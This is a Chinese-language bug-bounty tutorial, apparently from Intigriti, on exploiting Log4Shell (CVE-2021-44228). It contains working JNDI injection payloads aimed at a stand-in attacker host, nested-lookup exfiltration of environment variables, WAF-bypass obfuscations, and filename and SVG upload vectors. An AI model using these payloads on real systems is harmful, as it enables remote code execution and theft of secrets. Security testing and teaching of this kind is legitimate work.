Log4Shell (Log4J) 高级利用指南:从识别到绕过WAF的实战技巧

本文详细解析Log4Shell漏洞的工作原理、识别易受攻击目标的方法、多种利用技术(包括DNS数据外泄和WAF绕过),以及通过文件上传等高级场景进行漏洞利用的实战指南。

Log4Shell (Log4J):高级利用指南 | Intigriti

不确定如何为报告的漏洞设定奖励?我们分析了640多个跨行业的漏洞赏金计划,帮助您做出明智决策。公平奖励研究人员——立即试用我们的漏洞赏金计算器!

尝试我们的漏洞赏金计算器

不确定如何为报告的漏洞设定奖励?我们分析了640多个跨行业的漏洞赏金计划,帮助您做出明智决策。公平奖励研究人员——立即试用我们的漏洞赏金计算器!

尝试我们的漏洞赏金计算器

博客

黑客工具

2025年利用Log4Shell (Log4J)

作者:blackbird-eu
2025年6月29日

目录

  • 什么是Log4Shell (Log4J)
  • 识别易受攻击的Log4J目标
  • 在真实环境中利用易受攻击的Log4J目标
  • 利用更高级的易受攻击Log4J案例
  • 结论

自Log4Shell(Apache Log4J日志软件中的注入攻击)袭击全球数千家公司以来,已经过去几年。尽管组织们努力修补系统中的这一关键缺陷,但到2025年,一些Web服务仍然易受Log4Shell攻击,通常是由于遗留系统仍依赖易受攻击版本、(隐藏的)依赖项或不完整的修复。

在本文中,我们将揭示Log4Shell为何如此危险,并带您了解识别、利用和有效武器化它们的技术。我们还将探索需要绕过Web应用程序防火墙(WAF)的高级和独特利用场景。

让我们开始吧!

什么是Log4Shell (Log4J)

Apache Log4J是Java生态系统中部署最广泛的日志框架之一,由Apache软件基金会开发,广泛用于企业应用程序、Web服务和其他类型的系统。作为日志库,Log4J使开发人员能够以可配置的输出格式和目标记录应用程序事件、调试信息和系统状态消息。

Apache Log4J
Log4Shell (CVE-2021-44228) 是Apache Log4J(版本2.0-beta9到2.14.1)中的一个关键远程代码执行漏洞。该漏洞存在于Log4J的消息查找替换功能中,该功能处理日志消息中的特殊语法,以在运行时动态解析和替换值。因此,您可能从各处认出的这个流行有效载荷字符串:

Log4Shell (Log4J) JNDI有效载荷分解
核心问题在于Log4J处理日志消息中的JNDI(Java命名和目录接口)查找。当Log4J遇到包含JNDI查找语法的特制字符串时,它会自动尝试通过连接到外部服务器并从远程位置加载Java类来解析引用。此行为无论日志级别配置如何都会发生,这意味着即使用户控制的数据到达日志框架,仅记录ERROR或FATAL消息的应用程序仍然易受攻击。

Log4Shell工作原理:
该漏洞利用Log4J自动替换格式为${protocol:address}的查找表达式。当Log4J处理包含恶意JNDI查找(如${jndi:ldap://intigriti-example/xyz})的日志消息时,发生以下序列:

  1. 日志消息处理:应用程序记录包含恶意字符串的消息,直接或通过用户控制的输入记录
  2. 查找解析:Log4J的PatternLayout识别${}语法并触发查找机制
  3. JNDI连接:JNDI子系统建立到查找字符串中指定的攻击者控制服务器的连接
  4. 类加载:远程服务器响应Java类的引用,Log4J自动下载并将其加载到应用程序的内存空间
  5. 代码执行:恶意类在易受攻击应用程序的上下文中执行,授予攻击者与应用程序进程相同的权限

Log4Shell (Log4J) 漏洞利用工作原理
现在让我们更深入地了解如何高精度识别使用Log4J日志库的目标。阅读提示:JNDI攻击在Log4Shell袭击之前早已存在。2016年,研究人员Alvaro Muñoz和Oleksandr Mirosh在BlackHat演讲中描述了Log4Shell的根本原因。

识别易受攻击的Log4J目标

在主动发送任何Log4Shell有效载荷之前,我们需要寻找基于Java的应用程序的指标。搜索服务器响应头,如Apache-Coyote、Jetty或其他自定义Java应用程序服务器。检查您访问的应用程序路由的文件扩展名。偶尔,在基于Java的应用程序中,您会遇到包含对常用Log4J的Java框架(如Spring、Struts或JSF)引用的HTML注释。您还可以使用BuiltWith和Wappalyzer等工具进行技术指纹识别,尽管这种方法有其局限性。

阅读提示:利用Shodan和Censys的力量识别易受攻击的目标,或简单地学习如何使用Google Dorking列出所有索引的基于Java的目标!

一旦成功枚举可能的目标,我们需要寻找常用易受攻击软件记录的应用程序组件。任何记录用户可控数据的应用程序功能都成为潜在的注入点,例如:

  • 记录用户名和失败登录尝试的身份验证端点
  • 记录用户代理、引用头、UTM和其他跟踪参数的分析服务
  • 记录请求体、头和其他元数据的API端点
  • 记录处理错误以及文件名、文件大小和其他可能文件元数据的文件上传功能
  • 记录异常详细信息(包括导致异常的用户输入)的错误处理中间件
  • 记录系统事件的审计和合规服务

之后,您可以在HTTP请求的任何更可能被记录和处理的组件中发送有效载荷。以下是一些可以尝试的请求头:

  • User-Agent
  • Referer
  • X-Original-URL
  • X-Host
  • X-Forwarded-For
  • X-Forwarded-Proto
  • X-Forwarded-Host
  • CF-Connecting-Ip # 如果目标在Cloudflare后面
  • True-Client-Ip # 如果目标在Cloudflare后面

带有Log4Shell有效载荷的HTTP请求示例
如果您不熟悉Log4Shell如何在请求中注入,请查看以下示例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
POST /e/c?utm_source=%24%7Bjndi%3Aldap%3A%2F%2Fintigriti%2Dexample%3A1389%2Fpath%2Dto%2Djava%2Dclass%7D HTTP/1.1
Host: analytics.example.com
Content-Type: application/json
User-Agent: ${jndi:ldap://intigriti-example:1389/path-to-java-class}
X-Forwarded-For: ${jndi:ldap://intigriti-example:1389/path-to-java-class}
Content-Length: 248

{
    "$event_type": "${jndi:ldap://intigriti-example:1389/path-to-java-class}",
    "$event_name": "${jndi:ldap://intigriti-example:1389/path-to-java-class}",
    "$event_time": "${jndi:ldap://intigriti-example:1389/path-to-java-class}",
    ...
}

提示!建议每个请求注入单个有效载荷。这样,您可以轻松跟踪可能的交互并定位易受攻击的请求。通过这种方法,您还可以轻松避免发送将被终端服务器拒绝的巨大HTTP请求。

在真实环境中利用易受攻击的Log4J目标

要利用Log4Shell (CVE-2021-44228),我们必须在应用程序组件中注入有效载荷,该组件可能会使易受攻击版本的Log4J评估我们的有效载荷并执行JNDI查找以尝试加载Java类。

让我们检查一个简单示例。

接收基本回显
将以下有效载荷发送到易受Log4Shell攻击的Web服务将进行JNDI查找。如果您控制另一端(intigriti-example),您应该收到传入请求。

1
${jndi:ldap://intigriti-example:1337/existing-java-class}

在目标上,Log4J日志框架将评估我们的有效载荷以联系主机并尝试包含外部Java类。作为攻击者,我们实际上可以托管我们的恶意Java代码并实现远程代码执行。

绕过端口限制
然而,这并不总是那么直接。由于预设的主机安全策略,某些服务器默认无法建立出站连接。在这种情况下,我们必须寻找这些限制的潜在绕过方法。如果有可能的绕过方法,它将是连接端口(1-65535)、协议(UDP/TCP)或主机的例外。

如果对网络端口设置了限制,我们可以简单地尝试另一个端口。端口80、443、8080和8443最有可能被列入白名单:

1
${jndi:ldap://intigriti-example:8080/existing-java-class}

通过DNS利用Log4Shell
在其他情况下,我们会注意到某些主机阻止所有出站TCP连接。要绕过此限制,我们可以设置本地DNS服务器以监听传入查询。一旦我们的OAST服务器设置完成,我们可以发送以下有效载荷:

1
${jndi:dns://intigriti-example/}

这种方法可能有助于绕过负载均衡器或其他类型反向代理服务器后面的易受攻击应用程序。

通过嵌套JNDI查找外泄数据
假设我们收到了回显但无法包含带有恶意代码的Java类。在这种情况下,我们可以尝试通过出站连接外泄敏感数据。为此,我们需要调整有效载荷并利用内部JNDI查找。内部JNDI查找总是首先解析,我们可以利用这一点读取可能的环境或系统变量。

以下是使用嵌套JNDI查找的基本示例:

1
${jndi:dns://${env:HOST}.intigriti-example/}

Log4J将首先解析内部JNDI查找:${env:HOST}。此查找将获取HOST环境变量并将其添加到外部JNDI查找中,在这种情况下,它将将其添加为intigriti-example的子域。

接下来,Log4J将解析最终查找,即向<$HOST>.intigriti-example进行DNS查询。

我们的OAST服务器将捕获此请求,我们将能够读取HOST环境变量。

以下是所有其他可能查找类型的列表(取决于环境):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
${env:VARIABLE_NAME}          # 获取环境变量(HOST、PATH、HOME、AWS密钥等)
${sys:property.name}          # 获取Java系统属性(user.name、java.version等)
${ctx:key}                    # 从线程上下文映射(MDC)获取值
${map:key}                    # 从事件的上下文映射获取值

${hostName}                   # 获取本地主机名
${docker:containerId}         # 获取Docker容器ID(如果在容器中运行)
${docker:containerName}       # 获取Docker容器名称
${docker:imageName}           # 获取Docker镜像名称

${date:yyyy-MM-dd}           # 以指定格式获取当前日期
${date:HH:mm:ss}             # 以指定格式获取当前时间
${date:yyyy-MM-dd HH:mm:ss}  # 获取当前日期和时间
${lower:j}                   # 将字符转换为小写(用于有效载荷混淆和WAF绕过)

利用更高级的易受攻击Log4J案例

我们已经介绍了基本有效载荷。需要注意的一点是,大多数组织已经部署了针对上述常见有效载荷的对策。现在让我们更深入地研究更高级的案例,以理解和制作新的WAF绕过方法。

通过有效载荷混淆利用Log4Shell
当Log4Shell袭击时,组织试图修补其系统。其中一些仅通过配置过滤器来阻止有效载荷。为此,大多数WAF配置为使用正则表达式模式并匹配有效载荷字符串以检测可能的Log4Shell有效载荷。通过利用Log4J的内置字符串操作查找,我们可以绕过这些基本检测机制:

1
2
3
4
${${lower:j}ndi:${lower:l}dap://intigriti-example/path-to-java-class}
${${upper:j}NDI:${upper:l}DAP://INTIGRITI-EXAMPLE/PATH-TO-JAVA-CLASS}
${j${lower:n}di:l${lower:d}ap://intigriti-example/path-to-java-class}
${${lower:jndi}:${lower:ldap}://intigriti-example/path-to-java-class}

正如我们之前记录的,Log4J首先处理内部查找(例如,${lower:j}变为j),然后构造最终的JNDI字符串,绕过仅查找字面jndi:ldap模式的弱WAF规则和过滤器。

让我们看一些使用高级混淆技术的更高级有效载荷:

1
2
3
4
5
6
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://intigriti-example/path-to-java-class}
${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://intigriti-example/path-to-java-class}
${j${env:EMPTY:-}ndi:l${env:EMPTY:-}dap://intigriti-example/path-to-java-class}
${jn${env::-}di:l${env::-}dap://intigriti-example/path-to-java-class}
${${date:j}ndi:ldap://intigriti-example/path-to-java-class}
${jndi:${sys:line.separator}ldap://intigriti-example/path-to-java-class}

通过文件上传利用Log4Shell
在请求头和参数中注入有效载荷不是测试Log4Shell的唯一方法。文件上传也是测试CVE-2021-44228的可行方法。例如,最直接的方法之一是将Log4Shell有效载荷直接嵌入上传的文件名中:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
POST /api/my-files/upload HTTP/1.1
Host: app.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="${jndi:ldap://intigriti-example/path-to-java-class}.pdf"
Content-Type: application/pdf

<PDF文件内容在这里>
------WebKitFormBoundary--

许多应用程序记录上传活动,包括用于审计目的、安全监控或调试的文件名。当包含JNDI查找的文件名、文件内容或文件元数据被记录时,Log4J处理它并触发漏洞。PDF或其他类型的结构化文件对于Log4Shell利用也特别有效,因为处理库在遇到格式错误内容时经常记录错误和警告。

例如,如果您被允许上传SVG、Excel或Word文档,请尝试故意上传带有Log4Shell上传的格式错误文档,并监视您的OAST服务器以获取传入调用:

1
2
3
4
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <text>INTIGRITI Log4Shell PoC</text>
</svg_${jndi:ldap://intigriti-example/path-to-java-class}>
  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^  第3行错误:标签“svg_${jndi:ldap://intigriti-example/path-to-java-class}”是无效名称。

阅读提示:更深入地研究高级文件上传漏洞并在现代应用程序中利用XXE。

结论

Log4Shell易受攻击的应用程序仍然存在,即使在2025年。寻找它们总是值得的,因为它们具有严重的影响,正如我们在本文中记录的那样。

所以,您刚刚学到了关于Log4Shell (Log4J)的新知识……现在是时候测试您的技能了!您可以通过在易受攻击的实验室练习开始,或者……浏览我们在Intigriti上的70多个公共漏洞赏金计划,谁知道呢,也许在您的下一次提交中赚取赏金!

立即在INTIGRITI上开始黑客攻击

您可能还喜欢
SSTI:利用高级服务器端模板注入的完整指南
2025年6月15日
继续阅读

发现隐藏参数:高级指南
2025年6月3日
继续阅读

CORS:利用高级CORS配置错误漏洞的完整指南
2025年5月18日
继续阅读

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计